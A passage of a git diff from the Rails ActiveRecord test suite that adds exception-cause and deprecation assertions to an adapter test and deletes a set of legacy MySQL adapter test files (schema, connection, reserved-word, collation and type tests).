assert_raises(ActiveRecord::InvalidForeignKey) do + error = assert_raises(ActiveRecord::InvalidForeignKey) do has_fk = klass_has_fk.new has_fk.fk_id = 1231231231 has_fk.save(validate: false) end + + assert_not_nil error.cause + end + + def test_value_limit_violations_are_translated_to_specific_exception + error = assert_raises(ActiveRecord::ValueTooLong) do + Event.create(title: 'abcdefgh') + end + + assert_not_nil error.cause end end @@ -216,13 +271,25 @@ module ActiveRecord unless current_adapter?(:PostgreSQLAdapter) def test_log_invalid_encoding - assert_raise ActiveRecord::StatementInvalid do + error = assert_raise ActiveRecord::StatementInvalid do @connection.send :log, "SELECT 'Ñ‹' FROM DUAL" do raise 'Ñ‹'.force_encoding(Encoding::ASCII_8BIT) end end + + assert_not_nil error.cause end end + + if current_adapter?(:Mysql2Adapter, :SQLite3Adapter) + def test_tables_returning_both_tables_and_views_is_deprecated + assert_deprecated { @connection.tables } + end + end + + def test_passing_arguments_to_tables_is_deprecated + assert_deprecated { @connection.tables(:books) } + end end class AdapterTestWithoutTransaction < ActiveRecord::TestCase diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb deleted file mode 100644 index 6577d56240..0000000000 --- a/activerecord/test/cases/adapters/mysql/active_schema_test.rb +++ /dev/null @@ -1,155 +0,0 @@ -require "cases/helper" -require 'support/connection_helper' - -class ActiveSchemaTest < ActiveRecord::TestCase - include ConnectionHelper - - def setup - ActiveRecord::Base.connection.singleton_class.class_eval do - alias_method :execute_without_stub, :execute - def execute(sql, name = nil) return sql end - end - end - - teardown do - reset_connection - end - - def test_add_index - # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed - def (ActiveRecord::Base.connection).table_exists?(*); true; end - def (ActiveRecord::Base.connection).index_name_exists?(*); false; end - - expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) " - assert_equal expected, add_index(:people, :last_name, :length => nil) - - expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10)) " - assert_equal expected, add_index(:people, :last_name, :length => 10) - - expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15)) " - assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15) - - expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`) " - assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15}) - - expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10)) " - assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15, :first_name => 10}) - - %w(SPATIAL FULLTEXT UNIQUE).each do |type| - expected = "CREATE #{type} INDEX `index_people_on_last_name` ON `people` (`last_name`) " - assert_equal expected, add_index(:people, :last_name, :type => type) - end - - %w(btree hash).each do |using| - expected = "CREATE INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`) " - assert_equal expected, add_index(:people, :last_name, :using => using) - end - - expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) " - assert_equal expected, add_index(:people, :last_name, :length => 10, :using => :btree) - - expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = COPY" - assert_equal expected, add_index(:people, :last_name, :length => 10, using: :btree, algorithm: :copy) - - assert_raise ArgumentError do - add_index(:people, :last_name, algorithm: :coyp) - end - - expected = "CREATE INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15)) " - assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15, :using => :btree) - end - - def test_drop_table - assert_equal "DROP TABLE `people`", drop_table(:people) - end - - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) - def test_create_mysql_database_with_encoding - assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt) - assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'}) - assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, {:charset => :big5, :collation => :big5_chinese_ci}) - end - - def test_recreate_mysql_database_with_encoding - create_database(:luca, {:charset => 'latin1'}) - assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, {:charset => 'latin1'}) - end - end - - def test_add_column - assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string) - end - - def test_add_column_with_limit - assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, :limit => 32) - end - - def test_drop_table_with_specific_database - assert_equal "DROP TABLE `otherdb`.`people`", drop_table('otherdb.people') - end - - def test_add_timestamps - with_real_execute do - begin - ActiveRecord::Base.connection.create_table :delete_me - ActiveRecord::Base.connection.add_timestamps :delete_me, null: true - assert column_present?('delete_me', 'updated_at', 'datetime') - assert column_present?('delete_me', 'created_at', 'datetime') - ensure - ActiveRecord::Base.connection.drop_table :delete_me rescue nil - end - end - end - - def test_remove_timestamps - with_real_execute do - begin - ActiveRecord::Base.connection.create_table :delete_me do |t| - t.timestamps null: true - end - ActiveRecord::Base.connection.remove_timestamps :delete_me, { null: true } - assert !column_present?('delete_me', 'updated_at', 'datetime') - assert !column_present?('delete_me', 'created_at', 'datetime') - ensure - ActiveRecord::Base.connection.drop_table :delete_me rescue nil - end - end - end - - def test_indexes_in_create - ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false) - ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false) - - expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip` (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query" - actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t| - t.index :zip - end - - assert_equal expected, actual - end - - private - def with_real_execute - ActiveRecord::Base.connection.singleton_class.class_eval do - alias_method :execute_with_stub, :execute - remove_method :execute - alias_method :execute, :execute_without_stub - end - - yield - ensure - ActiveRecord::Base.connection.singleton_class.class_eval do - remove_method :execute - alias_method :execute, :execute_with_stub - end - end - - def method_missing(method_symbol, *arguments) - ActiveRecord::Base.connection.send(method_symbol, *arguments) - end - - def column_present?(table_name, column_name, type) - results = ActiveRecord::Base.connection.select_all("SHOW FIELDS FROM #{table_name} LIKE '#{column_name}'") - results.first && results.first['Type'] == type - end -end diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb deleted file mode 100644 index 340fc95503..0000000000 --- a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb +++ /dev/null @@ -1,55 +0,0 @@ -require "cases/helper" -require 'models/person' - -class MysqlCaseSensitivityTest < ActiveRecord::TestCase - class CollationTest < ActiveRecord::Base - end - - repair_validations(CollationTest) - - def test_columns_include_collation_different_from_table - assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation - assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation - end - - def test_case_sensitive - assert !CollationTest.columns_hash['string_ci_column'].case_sensitive? - assert CollationTest.columns_hash['string_cs_column'].case_sensitive? - end - - def test_case_insensitive_comparison_for_ci_column - CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => false) - CollationTest.create!(:string_ci_column => 'A') - invalid = CollationTest.new(:string_ci_column => 'a') - queries = assert_sql { invalid.save } - ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) } - assert_no_match(/lower/i, ci_uniqueness_query) - end - - def test_case_insensitive_comparison_for_cs_column - CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => false) - CollationTest.create!(:string_cs_column => 'A') - invalid = CollationTest.new(:string_cs_column => 'a') - queries = assert_sql { invalid.save } - cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) } - assert_match(/lower/i, cs_uniqueness_query) - end - - def test_case_sensitive_comparison_for_ci_column - CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => true) - CollationTest.create!(:string_ci_column => 'A') - invalid = CollationTest.new(:string_ci_column => 'A') - queries = assert_sql { invalid.save } - ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) } - assert_match(/binary/i, ci_uniqueness_query) - end - - def test_case_sensitive_comparison_for_cs_column - CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => true) - CollationTest.create!(:string_cs_column => 'A') - invalid = CollationTest.new(:string_cs_column => 'A') - queries = assert_sql { invalid.save } - cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) } - assert_no_match(/binary/i, cs_uniqueness_query) - end -end diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb deleted file mode 100644 index 4762ef43b5..0000000000 --- a/activerecord/test/cases/adapters/mysql/connection_test.rb +++ /dev/null @@ -1,182 +0,0 @@ -require "cases/helper" -require 'support/connection_helper' -require 'support/ddl_helper' - -class MysqlConnectionTest < ActiveRecord::TestCase - include ConnectionHelper - include DdlHelper - - class Klass < ActiveRecord::Base - end - - def setup - super - @connection = ActiveRecord::Base.connection - end - - def test_mysql_reconnect_attribute_after_connection_with_reconnect_true - run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => true})) - assert ActiveRecord::Base.connection.raw_connection.reconnect - end - end - - unless ARTest.connection_config['arunit']['socket'] - def test_connect_with_url - run_without_connection do - ar_config = ARTest.connection_config['arunit'] - - url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}" - Klass.establish_connection(url) - assert_equal ar_config['database'], Klass.connection.current_database - end - end - end - - def test_mysql_reconnect_attribute_after_connection_with_reconnect_false - run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => false})) - assert !ActiveRecord::Base.connection.raw_connection.reconnect - end - end - - def test_no_automatic_reconnection_after_timeout - assert @connection.active? - @connection.update('set @@wait_timeout=1') - sleep 2 - assert !@connection.active? - - # Repair all fixture connections so other tests won't break. - @fixture_connections.each(&:verify!) - end - - def test_successful_reconnection_after_timeout_with_manual_reconnect - assert @connection.active? - @connection.update('set @@wait_timeout=1') - sleep 2 - @connection.reconnect! - assert @connection.active? - end - - def test_successful_reconnection_after_timeout_with_verify - assert @connection.active? - @connection.update('set @@wait_timeout=1') - sleep 2 - @connection.verify! - assert @connection.active? - end - - def test_bind_value_substitute - bind_param = @connection.substitute_at('foo') - assert_equal Arel.sql('?'), bind_param.to_sql - end - - def test_exec_no_binds - with_example_table do - result = @connection.exec_query('SELECT id, data FROM ex') - assert_equal 0, result.rows.length - assert_equal 2, result.columns.length - assert_equal %w{ id data }, result.columns - - @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")') - - # if there are no bind parameters, it will return a string (due to - # the libmysql api) - result = @connection.exec_query('SELECT id, data FROM ex') - assert_equal 1, result.rows.length - assert_equal 2, result.columns.length - - assert_equal [['1', 'foo']], result.rows - end - end - - def test_exec_with_binds - with_example_table do - @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")') - result = @connection.exec_query( - 'SELECT id, data FROM ex WHERE id = ?', nil, [ActiveRecord::Relation::QueryAttribute.new("id", 1, ActiveRecord::Type::Value.new)]) - - assert_equal 1, result.rows.length - assert_equal 2, result.columns.length - - assert_equal [[1, 'foo']], result.rows - end - end - - def test_exec_typecasts_bind_vals - with_example_table do - @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")') - bind = ActiveRecord::Relation::QueryAttribute.new("id", "1-fuu", ActiveRecord::Type::Integer.new) - - result = @connection.exec_query( - 'SELECT id, data FROM ex WHERE id = ?', nil, [bind]) - - assert_equal 1, result.rows.length - assert_equal 2, result.columns.length - - assert_equal [[1, 'foo']], result.rows - end - end - - # Test that MySQL allows multiple results for stored procedures - if defined?(Mysql) && Mysql.const_defined?(:CLIENT_MULTI_RESULTS) - def test_multi_results - rows = ActiveRecord::Base.connection.select_rows('CALL ten();') - assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}" - assert @connection.active?, "Bad connection use by 'MysqlAdapter.select_rows'" - end - end - - def test_mysql_connection_collation_is_configured - assert_equal 'utf8_unicode_ci', @connection.show_variable('collation_connection') - assert_equal 'utf8_general_ci', ARUnit2Model.connection.show_variable('collation_connection') - end - - def test_mysql_default_in_strict_mode - result = @connection.exec_query "SELECT @@SESSION.sql_mode" - assert_equal [["STRICT_ALL_TABLES"]], result.rows - end - - def test_mysql_strict_mode_disabled - run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false})) - result = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode" - assert_equal [['']], result.rows - end - end - - def test_mysql_set_session_variable - run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => 3}})) - session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT" - assert_equal 3, session_mode.rows.first.first.to_i - end - end - - def test_mysql_sql_mode_variable_overrides_strict_mode - run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' })) - result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode' - assert_not_equal [['STRICT_ALL_TABLES']], result.rows - end - end - - def test_mysql_set_session_variable_to_default - run_without_connection do |orig_connection| - ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}})) - global_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.DEFAULT_WEEK_FORMAT" - session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT" - assert_equal global_mode.rows, session_mode.rows - end - end - - private - - def with_example_table(&block) - definition ||= <<-SQL - `id` int(11) auto_increment PRIMARY KEY, - `data` varchar(255) - SQL - super(@connection, 'ex', definition, &block) - end -end diff --git a/activerecord/test/cases/adapters/mysql/consistency_test.rb b/activerecord/test/cases/adapters/mysql/consistency_test.rb deleted file mode 100644 index ae190b728d..0000000000 --- a/activerecord/test/cases/adapters/mysql/consistency_test.rb +++ /dev/null @@ -1,49 +0,0 @@ -require "cases/helper" - -class MysqlConsistencyTest < ActiveRecord::TestCase - self.use_transactional_tests = false - - class Consistency < ActiveRecord::Base - self.table_name = "mysql_consistency" - end - - setup do - @old_emulate_booleans = ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans - ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false - - @connection = ActiveRecord::Base.connection - @connection.clear_cache! - @connection.create_table("mysql_consistency") do |t| - t.boolean "a_bool" - t.string "a_string" - end - Consistency.reset_column_information - Consistency.create! - end - - teardown do - ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = @old_emulate_booleans - @connection.drop_table "mysql_consistency" - end - - test "boolean columns with random value type cast to 0 when emulate_booleans is false" do - with_new = Consistency.new - with_last = Consistency.last - with_new.a_bool = 'wibble' - with_last.a_bool = 'wibble' - - assert_equal 0, with_new.a_bool - assert_equal 0, with_last.a_bool - end - - test "string columns call #to_s" do - with_new = Consistency.new - with_last = Consistency.last - thing = Object.new - with_new.a_string = thing - with_last.a_string = thing - - assert_equal thing.to_s, with_new.a_string - assert_equal thing.to_s, with_last.a_string - end -end diff --git a/activerecord/test/cases/adapters/mysql/enum_test.rb b/activerecord/test/cases/adapters/mysql/enum_test.rb deleted file mode 100644 index f4e7a3ef0a..0000000000 --- a/activerecord/test/cases/adapters/mysql/enum_test.rb +++ /dev/null @@ -1,10 +0,0 @@ -require "cases/helper" - -class MysqlEnumTest < ActiveRecord::TestCase - class EnumTest < ActiveRecord::Base - end - - def test_enum_limit - assert_equal 6, EnumTest.columns.first.limit - end -end diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb deleted file mode 100644 index 48ceef365e..0000000000 --- a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb +++ /dev/null @@ -1,152 +0,0 @@ - -require "cases/helper" -require 'support/ddl_helper' - -module ActiveRecord - module ConnectionAdapters - class MysqlAdapterTest < ActiveRecord::TestCase - include DdlHelper - - def setup - @conn = ActiveRecord::Base.connection - end - - def test_bad_connection_mysql - assert_raise ActiveRecord::NoDatabaseError do - configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest') - connection = ActiveRecord::Base.mysql_connection(configuration) - connection.drop_table 'ex', if_exists: true - end - end - - def test_valid_column - with_example_table do - column = @conn.columns('ex').find { |col| col.name == 'id' } - assert @conn.valid_type?(column.type) - end - end - - def test_invalid_column - assert_not @conn.valid_type?(:foobar) - end - - def test_client_encoding - assert_equal Encoding::UTF_8, @conn.client_encoding - end - - def test_exec_insert_number - with_example_table do - insert(@conn, 'number' => 10) - - result = @conn.exec_query('SELECT number FROM ex WHERE number = 10') - - assert_equal 1, result.rows.length - # if there are no bind parameters, it will return a string (due to - # the libmysql api) - assert_equal '10', result.rows.last.last - end - end - - def test_exec_insert_string - with_example_table do - str = 'ã„ãŸã ãã¾ã™ï¼' - insert(@conn, 'number' => 10, 'data' => str) - - result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10') - - value = result.rows.last.last - - # FIXME: this should probably be inside the mysql AR adapter? - value.force_encoding(@conn.client_encoding) - - # The strings in this file are utf-8, so transcode to utf-8 - value.encode!(Encoding::UTF_8) - - assert_equal str, value - end - end - - def test_tables_quoting - @conn.tables(nil, "foo-bar", nil) - flunk - rescue => e - # assertion for *quoted* database properly - assert_match(/database 'foo-bar'/, e.inspect) - end - - def test_pk_and_sequence_for - with_example_table do - pk, seq = @conn.pk_and_sequence_for('ex') - assert_equal 'id', pk - assert_equal @conn.default_sequence_name('ex', 'id'), seq - end - end - - def test_pk_and_sequence_for_with_non_standard_primary_key - with_example_table '`code` INT(11) auto_increment, PRIMARY KEY (`code`)' do - pk, seq = @conn.pk_and_sequence_for('ex') - assert_equal 'code', pk - assert_equal @conn.default_sequence_name('ex', 'code'), seq - end - end - - def test_pk_and_sequence_for_with_custom_index_type_pk - with_example_table '`id` INT(11) auto_increment, PRIMARY KEY USING BTREE (`id`)' do - pk, seq = @conn.pk_and_sequence_for('ex') - assert_equal 'id', pk - assert_equal @conn.default_sequence_name('ex', 'id'), seq - end - end - - def test_composite_primary_key - with_example_table '`id` INT(11), `number` INT(11), foo INT(11), PRIMARY KEY (`id`, `number`)' do - assert_nil @conn.primary_key('ex') - end - end - - def test_tinyint_integer_typecasting - with_example_table '`status` TINYINT(4)' do - insert(@conn, { 'status' => 2 }, 'ex') - - result = @conn.exec_query('SELECT status FROM ex') - - assert_equal 2, result.column_types['status'].deserialize(result.last['status']) - end - end - - def test_supports_extensions - assert_not @conn.supports_extensions?, 'does not support extensions' - end - - def test_respond_to_enable_extension - assert @conn.respond_to?(:enable_extension) - end - - def test_respond_to_disable_extension - assert @conn.respond_to?(:disable_extension) - end - - private - def insert(ctx, data, table='ex') - binds = data.map { |name, value| - Relation::QueryAttribute.new(name, value, Type::Value.new) - } - columns = binds.map(&:name) - - sql = "INSERT INTO #{table} (#{columns.join(", ")}) - VALUES (#{(['?'] * columns.length).join(', ')})" - - ctx.exec_insert(sql, 'SQL', binds) - end - - def with_example_table(definition = nil, &block) - definition ||= <<-SQL - `id` int(11) auto_increment PRIMARY KEY, - `number` integer, - `data` varchar(255) - SQL - super(@conn, 'ex', definition, &block) - end - end - end -end diff --git a/activerecord/test/cases/adapters/mysql/quoting_test.rb b/activerecord/test/cases/adapters/mysql/quoting_test.rb deleted file mode 100644 index a2206153e9..0000000000 --- a/activerecord/test/cases/adapters/mysql/quoting_test.rb +++ /dev/null @@ -1,21 +0,0 @@ -require "cases/helper" - -module ActiveRecord - module ConnectionAdapters - class MysqlAdapter - class QuotingTest < ActiveRecord::TestCase - def setup - @conn = ActiveRecord::Base.connection - end - - def test_type_cast_true - assert_equal 1, @conn.type_cast(true) - end - - def test_type_cast_false - assert_equal 0, @conn.type_cast(false) - end - end - end - end -end diff --git a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb deleted file mode 100644 index ec1c394f40..0000000000 --- a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb +++ /dev/null @@ -1,153 +0,0 @@ -require "cases/helper" - -class Group < ActiveRecord::Base - Group.table_name = 'group' - belongs_to :select - has_one :values -end - -class Select < ActiveRecord::Base - Select.table_name = 'select' - has_many :groups -end - -class Values < ActiveRecord::Base - Values.table_name = 'values' -end - -class Distinct < ActiveRecord::Base - Distinct.table_name = 'distinct' - has_and_belongs_to_many :selects - has_many :values, :through => :groups -end - -# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with -# reserved word names (ie: group, order, values, etc...) -class MysqlReservedWordTest < ActiveRecord::TestCase - def setup - @connection = ActiveRecord::Base.connection - - # we call execute directly here (and do similar below) because ActiveRecord::Base#create_table() - # will fail with these table names if these test cases fail - - create_tables_directly 'group'=>'id int auto_increment primary key, `order` varchar(255), select_id int', - 'select'=>'id int auto_increment primary key', - 'values'=>'id int auto_increment primary key, group_id int', - 'distinct'=>'id int auto_increment primary key', - 'distinct_select'=>'distinct_id int, select_id int' - end - - teardown do - drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order'] - end - - # create tables with reserved-word names and columns - def test_create_tables - assert_nothing_raised { - @connection.create_table :order do |t| - t.column :group, :string - end - } - end - - # rename tables with reserved-word names - def test_rename_tables - assert_nothing_raised { @connection.rename_table(:group, :order) } - end - - # alter column with a reserved-word name in a table with a reserved-word name - def test_change_columns - assert_nothing_raised { @connection.change_column_default(:group, :order, 'whatever') } - #the quoting here will reveal any double quoting issues in change_column's interaction with the column method in the adapter - assert_nothing_raised { @connection.change_column('group', 'order', :Int, :default => 0) } - assert_nothing_raised { @connection.rename_column(:group, :order, :values) } - end - - # introspect table with reserved word name - def test_introspect - assert_nothing_raised { @connection.columns(:group) } - assert_nothing_raised { @connection.indexes(:group) } - end - - #fixtures - self.use_instantiated_fixtures = true - self.use_transactional_tests = false - - #activerecord model class with reserved-word table name - def test_activerecord_model - create_test_fixtures :select, :distinct, :group, :values, :distinct_select - x = nil - assert_nothing_raised { x = Group.new } - x.order = 'x' - assert_nothing_raised { x.save } - x.order = 'y' - assert_nothing_raised { x.save } - assert_nothing_raised { Group.find_by_order('y') } - assert_nothing_raised { Group.find(1) } - Group.find(1) - end - - # has_one association with reserved-word table name - def test_has_one_associations - create_test_fixtures :select, :distinct, :group, :values, :distinct_select - v = nil - assert_nothing_raised { v = Group.find(1).values } - assert_equal 2, v.id - end - - # belongs_to association with reserved-word table name - def test_belongs_to_associations - create_test_fixtures :select, :distinct, :group, :values, :distinct_select - gs = nil - assert_nothing_raised { gs = Select.find(2).groups } - assert_equal gs.length, 2 - assert(gs.collect(&:id).sort == [2, 3]) - end - - # has_and_belongs_to_many with reserved-word table name - def test_has_and_belongs_to_many - create_test_fixtures :select, :distinct, :group, :values, :distinct_select - s = nil - assert_nothing_raised { s = Distinct.find(1).selects } - assert_equal s.length, 2 - assert(s.collect(&:id).sort == [1, 2]) - end - - # activerecord model introspection with reserved-word table and column names - def test_activerecord_introspection - assert_nothing_raised { Group.table_exists? } - assert_nothing_raised { Group.columns } - end - - # Calculations - def test_calculations_work_with_reserved_words - assert_nothing_raised { Group.count } - end - - def test_associations_work_with_reserved_words - assert_nothing_raised { Select.all.merge!(:includes => [:groups]).to_a } - end - - #the following functions were added to DRY test cases - - private - # custom fixture loader, uses FixtureSet#create_fixtures and appends base_path to the current file's path - def create_test_fixtures(*fixture_names) - ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names) - end - - # custom drop table, uses execute on connection to drop a table if it exists. note: escapes table_name - def drop_tables_directly(table_names, connection = @connection) - table_names.each do |name| - connection.drop_table name, if_exists: true - end - end - - # custom create table, uses execute on connection to create a table, note: escapes table_name, does NOT escape columns - def create_tables_directly (tables, connection = @connection) - tables.each do |table_name, column_properties| - connection.execute("CREATE TABLE `#{table_name}` ( #{column_properties} )") - end - end - -end diff --git a/activerecord/test/cases/adapters/mysql/schema_test.rb b/activerecord/test/cases/adapters/mysql/schema_test.rb deleted file mode 100644 index b7f9c2ce84..0000000000 --- a/activerecord/test/cases/adapters/mysql/schema_test.rb +++ /dev/null @@ -1,100 +0,0 @@ -require "cases/helper" -require 'models/post' -require 'models/comment' - -module ActiveRecord - module ConnectionAdapters - class MysqlSchemaTest < ActiveRecord::TestCase - fixtures :posts - - def setup - @connection = ActiveRecord::Base.connection - db = Post.connection_pool.spec.config[:database] - table = Post.table_name - @db_name = db - - @omgpost = Class.new(ActiveRecord::Base) do - self.table_name = "#{db}.#{table}" - def self.name; 'Post'; end - end - - @connection.create_table "mysql_doubles" - end - - teardown do - @connection.drop_table "mysql_doubles", if_exists: true - end - - class MysqlDouble < ActiveRecord::Base - self.table_name = "mysql_doubles" - end - - def test_float_limits - @connection.add_column :mysql_doubles, :float_no_limit, :float - @connection.add_column :mysql_doubles, :float_short, :float, limit: 5 - @connection.add_column :mysql_doubles, :float_long, :float, limit: 53 - - @connection.add_column :mysql_doubles, :float_23, :float, limit: 23 - @connection.add_column :mysql_doubles, :float_24, :float, limit: 24 - @connection.add_column :mysql_doubles, :float_25, :float, limit: 25 - MysqlDouble.reset_column_information - - column_no_limit = MysqlDouble.columns.find { |c| c.name == 'float_no_limit' } - column_short = MysqlDouble.columns.find { |c| c.name == 'float_short' } - column_long = MysqlDouble.columns.find { |c| c.name == 'float_long' } - - column_23 = MysqlDouble.columns.find { |c| c.name == 'float_23' } - column_24 = MysqlDouble.columns.find { |c| c.name == 'float_24' } - column_25 = MysqlDouble.columns.find { |c| c.name == 'float_25' } - - # Mysql floats are precision 0..24, Mysql doubles are precision 25..53 - assert_equal 24, column_no_limit.limit - assert_equal 24, column_short.limit - assert_equal 53, column_long.limit - - assert_equal 24, column_23.limit - assert_equal 24, column_24.limit - assert_equal 53, column_25.limit - end - - def test_schema - assert @omgpost.first - end - - def test_primary_key - assert_equal 'id', @omgpost.primary_key - end - - def test_table_exists? - name = @omgpost.table_name - assert @connection.table_exists?(name), "#{name} table should exist" - end - - def test_table_exists_wrong_schema - assert(!@connection.table_exists?("#{@db_name}.zomg"), "table should not exist") - end - - def test_dump_indexes - index_a_name = 'index_key_tests_on_snack' - index_b_name = 'index_key_tests_on_pizza' - index_c_name = 'index_key_tests_on_awesome' - - table = 'key_tests' - - indexes = @connection.indexes(table).sort_by(&:name) - assert_equal 3,indexes.size - - index_a = indexes.select{|i| i.name == index_a_name}[0] - index_b = indexes.select{|i| i.name == index_b_name}[0] - index_c = indexes.select{|i| i.name == index_c_name}[0] - assert_equal :btree, index_a.using - assert_nil index_a.type - assert_equal :btree, index_b.using - assert_nil index_b.type - - assert_nil index_c.using - assert_equal :fulltext, index_c.type - end - end - end -end diff --git a/activerecord/test/cases/adapters/mysql/sp_test.rb b/activerecord/test/cases/adapters/mysql/sp_test.rb deleted file mode 100644 index 3ca2917ca4..0000000000 --- a/activerecord/test/cases/adapters/mysql/sp_test.rb +++ /dev/null @@ -1,15 +0,0 @@ -require "cases/helper" -require 'models/topic' - -class StoredProcedureTest < ActiveRecord::TestCase - fixtures :topics - - # Test that MySQL allows multiple results for stored procedures - if Mysql.const_defined?(:CLIENT_MULTI_RESULTS) - def test_multi_results_from_find_by_sql - topics = Topic.find_by_sql 'CALL topics();' - assert_equal 1, topics.size - assert ActiveRecord::Base.connection.active?, "Bad connection use by 'MysqlAdapter.select'" - end - end -end diff --git a/activerecord/test/cases/adapters/mysql/sql_types_test.rb b/activerecord/test/cases/adapters/mysql/sql_types_test.rb deleted file mode 100644 index 1ddb1b91c9..0000000000 --- a/activerecord/test/cases/adapters/mysql/sql_types_test.rb +++ /dev/null @@ -1,14 +0,0 @@ -require "cases/helper" - -class SqlTypesTest < ActiveRecord::TestCase - def test_binary_types - assert_equal 'varbinary(64)', type_to_sql(:binary, 64) - assert_equal 'varbinary(4095)', type_to_sql(:binary, 4095) - assert_equal 'blob(4096)', type_to_sql(:binary, 4096) - assert_equal 'blob', type_to_sql(:binary) - end - - def type_to_sql(*args) - ActiveRecord::Base.connection.type_to_sql(*args) - end -end diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb deleted file mode 100644 index 209a0cf464..0000000000 --- a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb +++ /dev/null @@ -1,23 +0,0 @@ -require 'cases/helper' - -module ActiveRecord::ConnectionAdapters - class MysqlAdapter - class StatementPoolTest < ActiveRecord::TestCase - if Process.respond_to?(:fork) - def test_cache_is_per_pid - cache = StatementPool.new nil, 10 - cache['foo'] = 'bar' - assert_equal 'bar', cache['foo'] - - pid = fork { - lookup = cache['foo']; - exit!(!lookup) - } - - Process.waitpid pid - assert $?.success?, 'process should exit successfully' - end - end - end - end -end diff --git a/activerecord/test/cases/adapters/mysql/unsigned_type_test.rb b/activerecord/test/cases/adapters/mysql/unsigned_type_test.rb deleted file mode 100644 index e9edc53f93..0000000000 --- a/activerecord/test/cases/adapters/mysql/unsigned_type_test.rb +++ /dev/null @@ -1,30 +0,0 @@ -require "cases/helper" - -class UnsignedTypeTest < ActiveRecord::TestCase - 